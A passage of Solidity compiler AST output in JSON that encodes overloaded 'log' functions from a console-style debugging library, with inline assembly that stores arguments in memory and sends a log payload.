","src":"193316:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"193322:2:22","nodeType":"YulIdentifier","src":"193322:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193309:6:22","nodeType":"YulIdentifier","src":"193309:6:22"},"nativeSrc":"193309:16:22","nodeType":"YulFunctionCall","src":"193309:16:22"},"nativeSrc":"193309:16:22","nodeType":"YulExpressionStatement","src":"193309:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193345:4:22","nodeType":"YulLiteral","src":"193345:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"193351:2:22","nodeType":"YulIdentifier","src":"193351:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193338:6:22","nodeType":"YulIdentifier","src":"193338:6:22"},"nativeSrc":"193338:16:22","nodeType":"YulFunctionCall","src":"193338:16:22"},"nativeSrc":"193338:16:22","nodeType":"YulExpressionStatement","src":"193338:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193374:4:22","nodeType":"YulLiteral","src":"193374:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"193380:2:22","nodeType":"YulIdentifier","src":"193380:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193367:6:22","nodeType":"YulIdentifier","src":"193367:6:22"},"nativeSrc":"193367:16:22","nodeType":"YulFunctionCall","src":"193367:16:22"},"nativeSrc":"193367:16:22","nodeType":"YulExpressionStatement","src":"193367:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193403:4:22","nodeType":"YulLiteral","src":"193403:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"193409:2:22","nodeType":"YulIdentifier","src":"193409:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193396:6:22","nodeType":"YulIdentifier","src":"193396:6:22"},"nativeSrc":"193396:16:22","nodeType":"YulFunctionCall","src":"193396:16:22"},"nativeSrc":"193396:16:22","nodeType":"YulExpressionStatement","src":"193396:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40108,"isOffset":false,"isSlot":false,"src":"193235:2:22","valueSize":1},{"declaration":40111,"isOffset":false,"isSlot":false,"src":"193264:2:22","valueSize":1},{"declaration":40114,"isOffset":false,"isSlot":false,"src":"193293:2:22","valueSize":1},{"declaration":40117,"isOffset":false,"isSlot":false,"src":"193322:2:22","valueSize":1},{"declaration":40120,"isOffset":false,"isSlot":false,"src":"193351:2:22","valueSize":1},{"declaration":40123,"isOffset":false,"isSlot":false,"src":"193380:2:22","valueSize":1},{"declaration":40126,"isOffset":false,"isSlot":false,"src":"193409:2:22","valueSize":1}],"id":40134,"nodeType":"InlineAssembly","src":"193199:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"192103:3:22","parameters":{"id":40105,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40098,"mutability":"mutable","name":"p0","nameLocation":"192112:2:22","nodeType":"VariableDeclaration","scope":40136,"src":"192107:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40097,"name":"bool","nodeType":"ElementaryTypeName","src":"192107:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40100,"mutability":"mutable","name":"p1","nameLocation":"192124:2:22","nodeType":"VariableDeclaration","scope":40136,"src":"192116:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40099,"name":"uint256","nodeType":"ElementaryTypeName","src":"192116:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40102,"mutability":"mutable","name":"p2","nameLocation":"192136:2:22","nodeType":"VariableDeclaration","scope":40136,"src":"192128:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40101,"name":"address","nodeType":"ElementaryTypeName","src":"192128:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":40104,"mutability":"mutable","name":"p3","nameLocation":"192148:2:22","nodeType":"VariableDeclaration","scope":40136,"src":"192140:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40103,"name":"bytes32","nodeType":"ElementaryTypeName","src":"192140:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"192106:45:22"},"returnParameters":{"id":40106,"nodeType":"ParameterList","parameters":[],"src":"192166:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40170,"nodeType":"FunctionDefinition","src":"193434:780:22","nodes":[],"body":{"id":40169,"nodeType":"Block","src":"193503:711:22","nodes":[],"statements":[{"assignments":[40148],"declarations":[{"constant":false,"id":40148,"mutability":"mutable","name":"m0","nameLocation":"193521:2:22","nodeType":"VariableDeclaration","scope":40169,"src":"193513:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40147,"name":"bytes32","nodeType":"ElementaryTypeName","src":"193513:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40149,"nodeType":"VariableDeclarationStatement","src":"193513:10:22"},{"assignments":[40151],"declarations":[{"constant":false,"id":40151,"mutability":"mutable","name":"m1","nameLocation":"193541:2:22","nodeType":"VariableDeclaration","scope":40169,"src":"193533:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40150,"name":"bytes32","nodeType":"ElementaryTypeName","src":"193533:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40152,"nodeType":"VariableDeclarationStatement","src":"193533:10:22"},{"assignments":[40154],"declarations":[{"constant":false,"id":40154,"mutability":"mutable","name":"m2","nameLocation":"193561:2:22","nodeType":"VariableDeclaration","scope":40169,"src":"193553:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40153,"name":"bytes32","nodeType":"ElementaryTypeName","src":"193553:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40155,"nodeType":"VariableDeclarationStatement","src":"193553:10:22"},{"assignments":[40157],"declarations":[{"constant":false,"id":40157,"mutability":"mutable","name":"m3","nameLocation":"193581:2:22","nodeType":"VariableDeclaration","scope":40169,"src":"193573:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40156,"name":"bytes32","nodeType":"ElementaryTypeName","src":"193573:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40158,"nodeType":"VariableDeclarationStatement","src":"193573:10:22"},{"assignments":[40160],"declarations":[{"constant":false,"id":40160,"mutability":"mutable","name":"m4","nameLocation":"193601:2:22","nodeType":"VariableDeclaration","scope":40169,"src":"193593:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40159,"name":"bytes32","nodeType":"ElementaryTypeName","src":"193593:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40161,"nodeType":"VariableDeclarationStatement","src":"193593:10:22"},{"AST":{"nativeSrc":"193622:375:22","nodeType":"YulBlock","src":"193622:375:22","statements":[{"nativeSrc":"193636:17:22","nodeType":"YulAssignment","src":"193636:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"193648:4:22","nodeType":"YulLiteral","src":"193648:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"193642:5:22","nodeType":"YulIdentifier","src":"193642:5:22"},"nativeSrc":"193642:11:22","nodeType":"YulFunctionCall","src":"193642:11:22"},"variableNames":[{"name":"m0","nativeSrc":"193636:2:22","nodeType":"YulIdentifier","src":"193636:2:22"}]},{"nativeSrc":"193666:17:22","nodeType":"YulAssignment","src":"193666:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"193678:4:22","nodeType":"YulLiteral","src":"193678:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"193672:5:22","nodeType":"YulIdentifier","src":"193672:5:22"},"nativeSrc":"193672:11:22","nodeType":"YulFunctionCall","src":"193672:11:22"},"variableNames":[{"name":"m1","nativeSrc":"193666:2:22","nodeType":"YulIdentifier","src":"193666:2:22"}]},{"nativeSrc":"193696:17:22","nodeType":"YulAssignment","src":"193696:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"193708:4:22","nodeType":"YulLiteral","src":"193708:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"193702:5:22","nodeType":"YulIdentifier","src":"193702:5:22"},"nativeSrc":"193702:11:22","nodeType":"YulFunctionCall","src":"193702:11:22"},"variableNames":[{"name":"m2","nativeSrc":"193696:2:22","nodeType":"YulIdentifier","src":"193696:2:22"}]},{"nativeSrc":"193726:17:22","nodeType":"YulAssignment","src":"193726:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"193738:4:22","nodeType":"YulLiteral","src":"193738:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"193732:5:22","nodeType":"YulIdentifier","src":"193732:5:22"},"nativeSrc":"193732:11:22","nodeType":"YulFunctionCall","src":"193732:11:22"},"variableNames":[{"name":"m3","nativeSrc":"193726:2:22","nodeType":"YulIdentifier","src":"193726:2:22"}]},{"nativeSrc":"193756:17:22","nodeType":"YulAssignment","src":"193756:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"193768:4:22","nodeType":"YulLiteral","src":"193768:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"193762:5:22","nodeType":"YulIdentifier","src":"193762:5:22"},"nativeSrc":"193762:11:22","nodeType":"YulFunctionCall","src":"193762:11:22"},"variableNames":[{"name":"m4","nativeSrc":"193756:2:22","nodeType":"YulIdentifier","src":"193756:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193854:4:22","nodeType":"YulLiteral","src":"193854:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"193860:10:22","nodeType":"YulLiteral","src":"193860:10:22","type":"","value":"0x9acd3616"}],"functionName":{"name":"mstore","nativeSrc":"193847:6:22","nodeType":"YulIdentifier","src":"193847:6:22"},"nativeSrc":"193847:24:22","nodeType":"YulFunctionCall","src":"193847:24:22"},"nativeSrc":"193847:24:22","nodeType":"YulExpressionStatement","src":"193847:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193891:4:22","nodeType":"YulLiteral","src":"193891:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"193897:2:22","nodeType":"YulIdentifier","src":"193897:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193884:6:22","nodeType":"YulIdentifier","src":"193884:6:22"},"nativeSrc":"193884:16:22","nodeType":"YulFunctionCall","src":"193884:16:22"},"nativeSrc":"193884:16:22","nodeType":"YulExpressionStatement","src":"193884:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193920:4:22","nodeType":"YulLiteral","src":"193920:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"193926:2:22","nodeType":"YulIdentifier","src":"193926:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193913:6:22","nodeType":"YulIdentifier","src":"193913:6:22"},"nativeSrc":"193913:16:22","nodeType":"YulFunctionCall","src":"193913:16:22"},"nativeSrc":"193913:16:22","nodeType":"YulExpressionStatement","src":"193913:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193949:4:22","nodeType":"YulLiteral","src":"193949:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"193955:2:22","nodeType":"YulIdentifier","src":"193955:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193942:6:22","nodeType":"YulIdentifier","src":"193942:6:22"},"nativeSrc":"193942:16:22","nodeType":"YulFunctionCall","src":"193942:16:22"},"nativeSrc":"193942:16:22","nodeType":"YulExpressionStatement","src":"193942:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"193978:4:22","nodeType":"YulLiteral","src":"193978:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"193984:2:22","nodeType":"YulIdentifier","src":"193984:2:22"}],"functionName":{"name":"mstore","nativeSrc":"193971:6:22","nodeType":"YulIdentifier","src":"193971:6:22"},"nativeSrc":"193971:16:22","nodeType":"YulFunctionCall","src":"193971:16:22"},"nativeSrc":"193971:16:22","nodeType":"YulExpressionStatement","src":"193971:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40148,"isOffset":false,"isSlot":false,"src":"193636:2:22","valueSize":1},{"declaration":40151,"isOffset":false,"isSlot":false,"src":"193666:2:22","valueSize":1},{"declaration":40154,"isOffset":false,"isSlot":false,"src":"193696:2:22","valueSize":1},{"declaration":40157,"isOffset":false,"isSlot":false,"src":"193726:2:22","valueSize":1},{"declaration":40160,"isOffset":false,"isSlot":false,"src":"193756:2:22","valueSize":1},{"declaration":40138,"isOffset":false,"isSlot":false,"src":"193897:2:22","valueSize":1},{"declaration":40140,"isOffset":false,"isSlot":false,"src":"193926:2:22","valueSize":1},{"declaration":40142,"isOffset":false,"isSlot":false,"src":"193955:2:22","valueSize":1},{"declaration":40144,"isOffset":false,"isSlot":false,"src":"193984:2:22","valueSize":1}],"id":40162,"nodeType":"InlineAssembly","src":"193613:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40164,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"194022:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":40165,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"194028:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":40163,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"194006:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"194006:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40167,"nodeType":"ExpressionStatement","src":"194006:27:22"},{"AST":{"nativeSrc":"194052:156:22","nodeType":"YulBlock","src":"194052:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"194073:4:22","nodeType":"YulLiteral","src":"194073:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"194079:2:22","nodeType":"YulIdentifier","src":"194079:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194066:6:22","nodeType":"YulIdentifier","src":"194066:6:22"},"nativeSrc":"194066:16:22","nodeType":"YulFunctionCall","src":"194066:16:22"},"nativeSrc":"194066:16:22","nodeType":"YulExpressionStatement","src":"194066:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194102:4:22","nodeType":"YulLiteral","src":"194102:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"194108:2:22","nodeType":"YulIdentifier","src":"194108:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194095:6:22","nodeType":"YulIdentifier","src":"194095:6:22"},"nativeSrc":"194095:16:22","nodeType":"YulFunctionCall","src":"194095:16:22"},"nativeSrc":"194095:16:22","nodeType":"YulExpressionStatement","src":"194095:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194131:4:22","nodeType":"YulLiteral","src":"194131:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"194137:2:22","nodeType":"YulIdentifier","src":"194137:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194124:6:22","nodeType":"YulIdentifier","src":"194124:6:22"},"nativeSrc":"194124:16:22","nodeType":"YulFunctionCall","src":"194124:16:22"},"nativeSrc":"194124:16:22","nodeType":"YulExpressionStatement","src":"194124:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194160:4:22","nodeType":"YulLiteral","src":"194160:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"194166:2:22","nodeType":"YulIdentifier","src":"194166:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194153:6:22","nodeType":"YulIdentifier","src":"194153:6:22"},"nativeSrc":"194153:16:22","nodeType":"YulFunctionCall","src":"194153:16:22"},"nativeSrc":"194153:16:22","nodeType":"YulExpressionStatement","src":"194153:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194189:4:22","nodeType":"YulLiteral","src":"194189:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"194195:2:22","nodeType":"YulIdentifier","src":"194195:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194182:6:22","nodeType":"YulIdentifier","src":"194182:6:22"},"nativeSrc":"194182:16:22","nodeType":"YulFunctionCall","src":"194182:16:22"},"nativeSrc":"194182:16:22","nodeType":"YulExpressionStatement","src":"194182:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40148,"isOffset":false,"isSlot":false,"src":"194079:2:22","valueSize":1},{"declaration":40151,"isOffset":false,"isSlot":false,"src":"194108:2:22","valueSize":1},{"declaration":40154,"isOffset":false,"isSlot":false,"src":"194137:2:22","valueSize":1},{"declaration":40157,"isOffset":false,"isSlot":false,"src":"194166:2:22","valueSize":1},{"declaration":40160,"isOffset":false,"isSlot":false,"src":"194195:2:22","valueSize":1}],"id":40168,"nodeType":"InlineAssembly","src":"194043:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"193443:3:22","parameters":{"id":40145,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40138,"mutability":"mutable","name":"p0","nameLocation":"193452:2:22","nodeType":"VariableDeclaration","scope":40170,"src":"193447:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40137,"name":"bool","nodeType":"ElementaryTypeName","src":"193447:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40140,"mutability":"mutable","name":"p1","nameLocation":"193464:2:22","nodeType":"VariableDeclaration","scope":40170,"src":"193456:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40139,"name":"uint256","nodeType":"ElementaryTypeName","src":"193456:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40142,"mutability":"mutable","name":"p2","nameLocation":"193473:2:22","nodeType":"VariableDeclaration","scope":40170,"src":"193468:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40141,"name":"bool","nodeType":"ElementaryTypeName","src":"193468:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40144,"mutability":"mutable","name":"p3","nameLocation":"193485:2:22","nodeType":"VariableDeclaration","scope":40170,"src":"193477:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40143,"name":"address","nodeType":"ElementaryTypeName","src":"193477:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"193446:42:22"},"returnParameters":{"id":40146,"nodeType":"ParameterList","parameters":[],"src":"193503:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40204,"nodeType":"FunctionDefinition","src":"194220:774:22","nodes":[],"body":{"id":40203,"nodeType":"Block","src":"194286:708:22","nodes":[],"statements":[{"assignments":[40182],"declarations":[{"constant":false,"id":40182,"mutability":"mutable","name":"m0","nameLocation":"194304:2:22","nodeType":"VariableDeclaration","scope":40203,"src":"194296:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40181,"name":"bytes32","nodeType":"ElementaryTypeName","src":"194296:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40183,"nodeType":"VariableDeclarationStatement","src":"194296:10:22"},{"assignments":[40185],"declarations":[{"constant":false,"id":40185,"mutability":"mutable","name":"m1","nameLocation":"194324:2:22","nodeType":"VariableDeclaration","scope":40203,"src":"194316:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40184,"name":"bytes32","nodeType":"ElementaryTypeName","src":"194316:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40186,"nodeType":"VariableDeclarationStatement","src":"194316:10:22"},{"assignments":[40188],"declarations":[{"constant":false,"id":40188,"mutability":"mutable","name":"m2","nameLocation":"194344:2:22","nodeType":"VariableDeclaration","scope":40203,"src":"194336:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40187,"name":"bytes32","nodeType":"ElementaryTypeName","src":"194336:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40189,"nodeType":"VariableDeclarationStatement","src":"194336:10:22"},{"assignments":[40191],"declarations":[{"constant":false,"id":40191,"mutability":"mutable","name":"m3","nameLocation":"194364:2:22","nodeType":"VariableDeclaration","scope":40203,"src":"194356:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40190,"name":"bytes32","nodeType":"ElementaryTypeName","src":"194356:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40192,"nodeType":"VariableDeclarationStatement","src":"194356:10:22"},{"assignments":[40194],"declarations":[{"constant":false,"id":40194,"mutability":"mutable","name":"m4","nameLocation":"194384:2:22","nodeType":"VariableDeclaration","scope":40203,"src":"194376:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40193,"name":"bytes32","nodeType":"ElementaryTypeName","src":"194376:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40195,"nodeType":"VariableDeclarationStatement","src":"194376:10:22"},{"AST":{"nativeSrc":"194405:372:22","nodeType":"YulBlock","src":"194405:372:22","statements":[{"nativeSrc":"194419:17:22","nodeType":"YulAssignment","src":"194419:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"194431:4:22","nodeType":"YulLiteral","src":"194431:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"194425:5:22","nodeType":"YulIdentifier","src":"194425:5:22"},"nativeSrc":"194425:11:22","nodeType":"YulFunctionCall","src":"194425:11:22"},"variableNames":[{"name":"m0","nativeSrc":"194419:2:22","nodeType":"YulIdentifier","src":"194419:2:22"}]},{"nativeSrc":"194449:17:22","nodeType":"YulAssignment","src":"194449:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"194461:4:22","nodeType":"YulLiteral","src":"194461:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"194455:5:22","nodeType":"YulIdentifier","src":"194455:5:22"},"nativeSrc":"194455:11:22","nodeType":"YulFunctionCall","src":"194455:11:22"},"variableNames":[{"name":"m1","nativeSrc":"194449:2:22","nodeType":"YulIdentifier","src":"194449:2:22"}]},{"nativeSrc":"194479:17:22","nodeType":"YulAssignment","src":"194479:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"194491:4:22","nodeType":"YulLiteral","src":"194491:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"194485:5:22","nodeType":"YulIdentifier","src":"194485:5:22"},"nativeSrc":"194485:11:22","nodeType":"YulFunctionCall","src":"194485:11:22"},"variableNames":[{"name":"m2","nativeSrc":"194479:2:22","nodeType":"YulIdentifier","src":"194479:2:22"}]},{"nativeSrc":"194509:17:22","nodeType":"YulAssignment","src":"194509:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"194521:4:22","nodeType":"YulLiteral","src":"194521:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"194515:5:22","nodeType":"YulIdentifier","src":"194515:5:22"},"nativeSrc":"194515:11:22","nodeType":"YulFunctionCall","src":"194515:11:22"},"variableNames":[{"name":"m3","nativeSrc":"194509:2:22","nodeType":"YulIdentifier","src":"194509:2:22"}]},{"nativeSrc":"194539:17:22","nodeType":"YulAssignment","src":"194539:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"194551:4:22","nodeType":"YulLiteral","src":"194551:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"194545:5:22","nodeType":"YulIdentifier","src":"194545:5:22"},"nativeSrc":"194545:11:22","nodeType":"YulFunctionCall","src":"194545:11:22"},"variableNames":[{"name":"m4","nativeSrc":"194539:2:22","nodeType":"YulIdentifier","src":"194539:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194634:4:22","nodeType":"YulLiteral","src":"194634:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"194640:10:22","nodeType":"YulLiteral","src":"194640:10:22","type":"","value":"0xceb5f4d7"}],"functionName":{"name":"mstore","nativeSrc":"194627:6:22","nodeType":"YulIdentifier","src":"194627:6:22"},"nativeSrc":"194627:24:22","nodeType":"YulFunctionCall","src":"194627:24:22"},"nativeSrc":"194627:24:22","nodeType":"YulExpressionStatement","src":"194627:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194671:4:22","nodeType":"YulLiteral","src":"194671:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"194677:2:22","nodeType":"YulIdentifier","src":"194677:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194664:6:22","nodeType":"YulIdentifier","src":"194664:6:22"},"nativeSrc":"194664:16:22","nodeType":"YulFunctionCall","src":"194664:16:22"},"nativeSrc":"194664:16:22","nodeType":"YulExpressionStatement","src":"194664:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194700:4:22","nodeType":"YulLiteral","src":"194700:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"194706:2:22","nodeType":"YulIdentifier","src":"194706:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194693:6:22","nodeType":"YulIdentifier","src":"194693:6:22"},"nativeSrc":"194693:16:22","nodeType":"YulFunctionCall","src":"194693:16:22"},"nativeSrc":"194693:16:22","nodeType":"YulExpressionStatement","src":"194693:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194729:4:22","nodeType":"YulLiteral","src":"194729:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"194735:2:22","nodeType":"YulIdentifier","src":"194735:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194722:6:22","nodeType":"YulIdentifier","src":"194722:6:22"},"nativeSrc":"194722:16:22","nodeType":"YulFunctionCall","src":"194722:16:22"},"nativeSrc":"194722:16:22","nodeType":"YulExpressionStatement","src":"194722:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"194758:4:22","nodeType":"YulLiteral","src":"194758:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"194764:2:22","nodeType":"YulIdentifier","src":"194764:2:22"}],"functionName":{"name":"mstore","nativeSrc":"194751:6:22","nodeType":"YulIdentifier","src":"194751:6:22"},"nativeSrc":"194751:16:22","nodeType":"YulFunctionCall","src":"194751:16:22"},"nativeSrc":"194751:16:22","nodeType":"YulExpressionStatement","src":"194751:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40182,"isOffset":false,"isSlot":false,"src":"194419:2:22","valueSize":1},{"declaration":40185,"isOffset":false,"isSlot":false,"src":"194449:2:22","valueSize":1},{"declaration":40188,"isOffset":false,"isSlot":false,"src":"194479:2:22","valueSize":1},{"declaration":40191,"isOffset":false,"isSlot":false,"src":"194509:2:22","valueSize":1},{"declaration":40194,"isOffset":false,"isSlot":false,"src":"194539:2:22","valueSize":1},{"declaration":40172,"isOffset":false,"isSlot":false,"src":"194677:2:22","valueSize":1},{"declaration":40174,"isOffset":false,"isSlot":false,"src":"194706:2:22","valueSize":1},{"declaration":40176,"isOffset":false,"isSlot":false,"src":"194735:2:22","valueSize":1},{"declaration":40178,"isOffset":false,"isSlot":false,"src":"194764:2:22","valueSize":1}],"id":40196,"nodeType":"InlineAssembly","src":"194396:381:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40198,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"194802:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 